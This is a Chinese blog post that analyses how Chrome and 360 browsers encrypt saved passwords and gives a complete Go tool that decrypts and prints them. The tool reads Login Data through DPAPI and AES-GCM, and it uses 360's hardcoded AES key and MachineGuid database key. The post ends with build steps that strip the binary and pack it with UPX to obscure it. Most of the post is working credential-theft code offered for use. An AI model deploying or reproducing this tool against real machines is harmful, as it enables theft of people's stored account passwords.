常见浏览器密码分析及Golang编写密码抓取工具

常见浏览器密码抓取分析

Chrome

简介

DPAPI 英文全称:Data Protection API,顾名思义就是用来保护数据的接口。数据保护接口是微软从 Windows 2000 开始引入的一种简易程序接口,主要为应用程序和操作系统程序提供高强度的数据加密和解密服务。Windows 系统用户大量的私密数据都采用了 DPAPI 进行加密存储。DPAPI 由一个加密函数(CryptProtectData())和一个解密函数(CryptUnProtectData())组成,是一组跟Windows 系统用户环境上下文密切相关的数据保护接口。某个系统用户调用 CryptProtectData() 加密后的数据只能由同一系统用户调用 CryptUnProtectData() 来解密,一个系统用户无法调用 CryptUnProtectData() 来解密其他系统用户的 DPAPI 加密数据。

Chrome浏览器的密码存储在%LocalAppData%\Google\Chrome\User Data\Default\Login Data 位置,以SQLlit3数据库形式存储。密码是blob类型,使用十六进制模式查看是有数据的。

360极速浏览器位置 %LocalAppData%\360ChromeX\Chrome\User Data\Default\Login Data

80版本之前的Chrome

直接调用CryptUnProtectData()函数进行解码就可以,区分80版本之前或之后,hex形式查看 password_value 字段前3位,80版本之后为v10、v11。

80版本之后的Chrome

密码前3位为v10 所以是80之后版本

官方加密算法

解密代码分析:

  1. 常量:

    • aes key的长度为32位
    • nonce偏移量长度为12
    • 解密后密码前缀 v10
    • 解密后key前缀 DPAPI
  2. 初始化:

  • 读取 local_state文件 获取os_crypt.encrypted_key。 local_state位置:%LocalAppData%\Google\Chrome\User Data\Local State
  • base64解码 encrypted_key
  • 去除解码后开头的 kDPAPIKeyPrefix(DPAPI)
  • DPAPI解密,得到真正的key

  1. 解密
  • 判断密文是否以常量 kEncryptionVersionPrefix(V10) 开头
  • 获取nonce偏移量 密文v10后的12位
  • 获取真正加密密码 去掉v10和偏移量为加密的密码
  • AEAD_AES_256_GCM算法进行解密

360安全浏览器

详细算法分析

360安全浏览器可以抓到密码的是未进行账号登录的,登录账号后加密方式改变了。

360安全浏览器不止对密码进行了加密还对sqlite数据库进行了加密

解密流程:

  1. 使用machineguid连接加密sqlite数据库

    直接是不能打开的

    通过注册表可得到reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography |findstr MachineGuid

  2. 查库获取数据

  3. 密码字段删除(4B01F200ED01)部分,使用AES ECB模式key为cf66fb58f5ca3485进行密码解密

  4. 得倒的密码中每个正确字符中插入了随机字符

  5. 如果解密后的第一位为\x02,从开始取p % 2 == 1位 2,4,6...位

  6. 如果解密后的第一位为\x01,从第二位开始取``p % 2 != 1`位 3,5,7...位

编写解密工具

因为github.com/mattn/go-sqlite3库不支持连接加密的sqlite数据库所以通过调用360安全浏览器默认的sqlite的dll进行连接数据库,因为dll为32位所以go编译的程序也要是32位,当前代码只适用于Windows。

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "database/sql"
    "encoding/base64"
    "encoding/json"
    "errors"
    "fmt"
    _ "github.com/mattn/go-sqlite3"
    "golang.org/x/sys/windows/registry"
    "io/ioutil"
    "os"
    "strings"
    "syscall"
    "unsafe"
)

const (
    SQLITE_OK                 = 0 // Dll 方式sqlite链接成功
    SQLITE_ROW                = 100
    SQLITE_DONE               = 101
    kDPAPIKeyPrefix           = "DPAPI" //key 前缀
    kNonceLength              = 96 / 8  //偏移量长度 12
    kEncryptionVersionPrefix  = "v10"   //密码前缀
    kEncryptionVersionPrefix2 = "v11"   //密码前缀
    localDbPath               = "tmp.db"
    key360                    = "cf66fb58f5ca3485"
)

var (
    // 加载系统DLL用DPAPI来解密
    dllCrypt32  = syscall.NewLazyDLL("Crypt32.dll")
    dllKernel32 = syscall.NewLazyDLL("Kernel32.dll")

    procDecryptData = dllCrypt32.NewProc("CryptUnprotectData")
    // 释放
    procLocalFree = dllKernel32.NewProc("LocalFree")
)

type DataBlob struct {
    cbData uint32
    pbData *byte
}

// ChromeData 密码结果类型
type ChromeData struct {
    site          string
    usernameValue string
    passwordValue []byte
}

func NewBlob(d []byte) *DataBlob {
    if len(d) == 0 {
    	return &DataBlob{}
    }
    return &DataBlob{
    	pbData: &d[0],
    	cbData: uint32(len(d)),
    }
}

func (b *DataBlob) ToByteArray() []byte {
    d := make([]byte, b.cbData)
    copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
    return d
}

// DecryptDPAPI DPAPI解密
func DecryptDPAPI(data []byte) ([]byte, error) {
    var outBlob DataBlob
    r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
    if r == 0 {
    	return nil, err
    }
    defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
    return outBlob.ToByteArray(), nil
}

// FileCopy 文件拷贝到当前目录
func FileCopy(path string) {
    bytestr, _ := ioutil.ReadFile(path)
    ioutil.WriteFile(localDbPath, bytestr, os.ModePerm)
}

// FileDelete 文件删除
func FileDelete() {
    os.Remove(localDbPath)
}

// QueryChrome Login Data中查询账号信息
func QueryChrome(path string) (result []ChromeData) {
    FileCopy(path)     // 如果浏览器正在使用读取会异常,所以拷贝到当前目录一份
    defer FileDelete() // 删除拷贝的文件
    db, err := sql.Open("sqlite3", localDbPath)
    if err != nil {
    	fmt.Println("读取数据库错误!")
    	return
    }
    defer db.Close() // 关闭连接,否则无法删除拷贝文件

    rows, err := db.Query("SELECT origin_url, action_url, username_value, password_value FROM logins where blacklisted_by_user=0")
    if err != nil {
    	fmt.Println(err)
    	fmt.Println("查询数据错误!")
    	return
    }
    var originUrl string
    var actionUrl string
    var usernameValue string
    var passwordValue []byte
    for rows.Next() {
    	err = rows.Scan(&originUrl, &actionUrl, &usernameValue, &passwordValue)
    	site := If(actionUrl != "", actionUrl, originUrl).(string)
    	result = append(result, ChromeData{site, usernameValue, passwordValue})
    }
    return

}

// If 三元表达式
func If(condition bool, trueVal, falseVal interface{}) interface{} {
    if condition {
    	return trueVal
    }
    return falseVal
}

func IntPtr(n int) uintptr {
    return uintptr(n)
}

func StringToPointer(s string) uintptr {
    // 一开始字符串指针用的是 syscall.StringToUTF16Ptr 但是类库只能读取到一个字节 改成 syscall.StringBytePtr 正常读取, StringBytePtr已弃用改用BytePtrFromString
    ptrFromString, _ := syscall.BytePtrFromString(s)
    return uintptr(unsafe.Pointer(ptrFromString))
}

// 查询360安全浏览器数据库
func Query360(dllPath, dbPath, key string) (result []ChromeData) {
    // 加载360安全浏览器默认DLL
    sqliteDLL := syscall.NewLazyDLL(dllPath)
    // 获取DLL中的函数指针
    sqlite3Open := sqliteDLL.NewProc("sqlite3_open")
    sqlite3Close := sqliteDLL.NewProc("sqlite3_close")
    sqlite3Key := sqliteDLL.NewProc("sqlite3_key")
    sqlite3PrepareV2 := sqliteDLL.NewProc("sqlite3_prepare_v2")
    sqlite3Step := sqliteDLL.NewProc("sqlite3_step")
    sqlite3ColumnText16 := sqliteDLL.NewProc("sqlite3_column_text16")
    sqlite3Finalize := sqliteDLL.NewProc("sqlite3_finalize")
    sqlite3ColumnCount := sqliteDLL.NewProc("sqlite3_column_count")

    FileCopy(dbPath)   // 如果浏览器正在使用读取会异常,所以拷贝到当前目录一份
    defer FileDelete() // 删除拷贝的文件

    // 打开数据库连接
    var db uintptr
    rc, _, _ := sqlite3Open.Call(StringToPointer(localDbPath), uintptr(unsafe.Pointer(&db)))
    if rc != 0 {
    	fmt.Println("sqlite3_open_v2 failed:", rc)
    	return
    }
    defer sqlite3Close.Call(db)

    // 解密数据库
    rc, _, _ = sqlite3Key.Call(db, StringToPointer(key), IntPtr(len(key)))
    if rc != 0 {
    	fmt.Println("sqlite3_key failed:", rc)
    	return
    }

    // 执行查询
    var stmt uintptr
    sql := "SELECT `domain`,`username`,`password` FROM tb_account"
    ret, _, _ := sqlite3PrepareV2.Call(db, StringToPointer(sql), IntPtr(len(sql)), uintptr(unsafe.Pointer(&stmt)), 0)
    if ret != SQLITE_OK {
    	fmt.Println("Failed to prepare SQL statement:", ret)
    	return
    }
    defer sqlite3Finalize.Call(stmt)

    // 处理结果
    for {
    	ret, _, _ = sqlite3Step.Call(stmt)
    	if ret == SQLITE_ROW {
    		numCols, _, _ := sqlite3ColumnCount.Call(stmt)
    		var browserData ChromeData
    		for i := uintptr(0); i < numCols; i++ {
    			colTextPtr, _, _ := sqlite3ColumnText16.Call(stmt, i)
    			colText := syscall.UTF16ToString((*[1 << 16]uint16)(unsafe.Pointer(colTextPtr))[:])
    			val := fmt.Sprintf("%s", colText)
    			switch i {
    			case uintptr(0):
    				browserData.site = val
    			case uintptr(1):
    				browserData.usernameValue = val
    			case uintptr(2):
    				browserData.passwordValue = []byte(val)
    			}
    		}
    		result = append(result, browserData)

    	} else if ret == SQLITE_DONE {
    		break
    	} else {
    		return
    	}
    }
    return

}

// ReadKey Local State文件读取key
func ReadKey(path string) (key []byte) {
    data, err := ioutil.ReadFile(path)
    if err != nil {
    	return
    }
    var localState map[string]interface{}
    json.Unmarshal(data, &localState)
    osCrypt := localState["os_crypt"].(map[string]interface{})
    encryptedKey := osCrypt["encrypted_key"].(string)
    key, err = base64.StdEncoding.DecodeString(encryptedKey)
    if err != nil {
    	fmt.Println("key解码错误")
    }
    return
}

// AesGCMDecrypt aes解密
func AesGCMDecrypt(ciphertext, key, nonce []byte) ([]byte, error) {
    c, err := aes.NewCipher(key)
    if err != nil {
    	return nil, err
    }

    gcm, err := cipher.NewGCM(c)
    if err != nil {
    	return nil, err
    }

    nonceSize := gcm.NonceSize()
    if len(ciphertext) < nonceSize {
    	return nil, errors.New("ciphertext too short")
    }

    return gcm.Open(nil, nonce, ciphertext, nil)
}

func AesEcbDecrypt(b64Ciphertext string) (password string) {
    key := []byte(key360)
    ciphertext, _ := base64.StdEncoding.DecodeString(b64Ciphertext)
    block, _ := aes.NewCipher(key)

    plaintext := make([]byte, len(ciphertext))

    // Decrypt in ECB mode
    for i := 0; i < len(ciphertext); i += block.BlockSize() {
    	block.Decrypt(plaintext[i:], ciphertext[i:i+block.BlockSize()])
    }
    var result []byte
    if plaintext[0] == 2 {
    	for i, b := range plaintext {
    		if i%2 == 1 {
    			result = append(result, b)
    		}
    	}
    } else {
    	for i, b := range plaintext {
    		if i == 0 {
    			continue
    		}
    		if i%2 != 1 {
    			result = append(result, b)
    		}
    	}
    }
    return string(result)
}

// Exists 判断所给路径文件/文件夹是否存在
func Exists(path string) bool {
    _, err := os.Stat(path) //os.Stat获取文件信息
    if err != nil {
    	if os.IsExist(err) {
    		return true
    	}
    	return false
    }
    return true
}

// GetChrome 获取chrome类浏览器账号密码
func GetChrome(path string) {
    LoginDataPath := path + "Default\\Login Data"
    LocalStatePath := path + "Local State"
    if !Exists(LoginDataPath) {
    	return
    }
    var key []byte
    if Exists(LocalStatePath) {
    	encryptedKey := ReadKey(LocalStatePath)
    	encryptedKey = encryptedKey[len(kDPAPIKeyPrefix):] // 去掉DPAPI 为真正的加密key
    	key, _ = DecryptDPAPI(encryptedKey)
    }

    result := QueryChrome(LoginDataPath)
    for _, data := range result {
    	version := string(data.passwordValue[:3])
    	fmt.Println("Site: " + data.site)
    	fmt.Println("Username: " + data.usernameValue)
    	var password []byte
    	// 80版本之后的Chrome
    	if version == kEncryptionVersionPrefix || version == kEncryptionVersionPrefix2 {
    		if key == nil {
    			fmt.Println("error")
    		}
    		nonce := data.passwordValue[len(kEncryptionVersionPrefix) : len(kEncryptionVersionPrefix)+kNonceLength] // 偏移量
    		ciphertext := data.passwordValue[len(kEncryptionVersionPrefix)+kNonceLength:]                           // 密文
    		password, _ = AesGCMDecrypt(ciphertext, key, nonce)
    	} else {
    		// 80版本之前的Chrome
    		password, _ = DecryptDPAPI(data.passwordValue)
    	}

    	fmt.Println("Password: " + string(password))
    	fmt.Println()
    }
}

func Get360() {
    // reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography |findstr MachineGuid
    key, err := registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Cryptography", registry.QUERY_VALUE|registry.WOW64_64KEY)
    // reg query HKEY_CLASSES_ROOT\360seURL\shell\open\command|findstr exe
    key2, err := registry.OpenKey(registry.CLASSES_ROOT, "360seURL\\shell\\open\\command", registry.QUERY_VALUE|registry.WOW64_64KEY)
    var MachineGuid, dbPath, dllPath string
    if err != nil {
    	return
    } else {
    	MachineGuid, _, _ = key.GetStringValue("MachineGuid")
    	exePath, _, _ := key2.GetStringValue("")
    	dbPath = strings.Replace(strings.Split(exePath, `"`)[1], "Application\\360se.exe", "User Data\\Default\\apps\\LoginAssis\\assis2.db", -1)
    	dllPath = strings.Replace(strings.Split(exePath, `"`)[1], "360se.exe", "components\\ExtYouxi\\sqlitedb3.dll", -1)
    }
    result := Query360(dllPath, dbPath, MachineGuid)
    fmt.Println("----------360安全浏览器----------")
    for _, data := range result {
    	fmt.Println("Site: " + data.site)
    	fmt.Println("Username: " + data.usernameValue)
    	tmpPassword := strings.Split(string(data.passwordValue), ")")[1]
    	password := AesEcbDecrypt(tmpPassword)
    	fmt.Println("Password: ", password)
    	fmt.Println()
    }
    fmt.Println("-------------------------------")
}

func main() {
    Get360()
    chromePath := os.Getenv("APPDATA") + "\\..\\Local\\Google\\Chrome\\User Data\\"         // 谷歌浏览器
    chromeX360Path := os.Getenv("APPDATA") + "\\..\\Local\\360ChromeX\\Chrome\\User Data\\" // 360 极速浏览器
    m := map[string]string{
    	"Google":   chromePath,
    	"360极速浏览器": chromeX360Path,
    }
    for v, k := range m {
    	fmt.Printf("----------%s----------", v)
    	GetChrome(k)
    	fmt.Println("-------------------------------")
    }
}

编译:

set GOARCH=386  # 设置32位
set CGO_ENABLED=1  # 启用cgo
go build  -a -ldflags "-w -s" -gcflags="all=-trimpath=${PWD}" -asmflags="all=-trimpath=${PWD}" .\main.go
go-strip.exe -f main.exe  # 清除Go编译时自带的信息
upx --best --lzma main.exe  # upx 压缩

效果图


文章作者: 子杰
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 子杰 ! !
评论
 上一篇
Go 语言学习 Go 语言学习
Go 语言学习,数组、切片、冒泡排序、Map、结构体、方法值与方法表达、接口、类型断言、指针、异常处理、文件操作、字符串常用处理方法、并发理解、Go的并发、channel、socket 编程、操作My
2023-10-07
下一篇 
X微OA uploaderOperate.jsp任意文件上传分析 X微OA uploaderOperate.jsp任意文件上传分析
uploaderOperate.jsp 文件中从请求中获取了secId和 plandetailid参数,将数据入库并回显看到fileId,OfficeServer通过 fileId解压上传的文件。
2023-10-07
  目录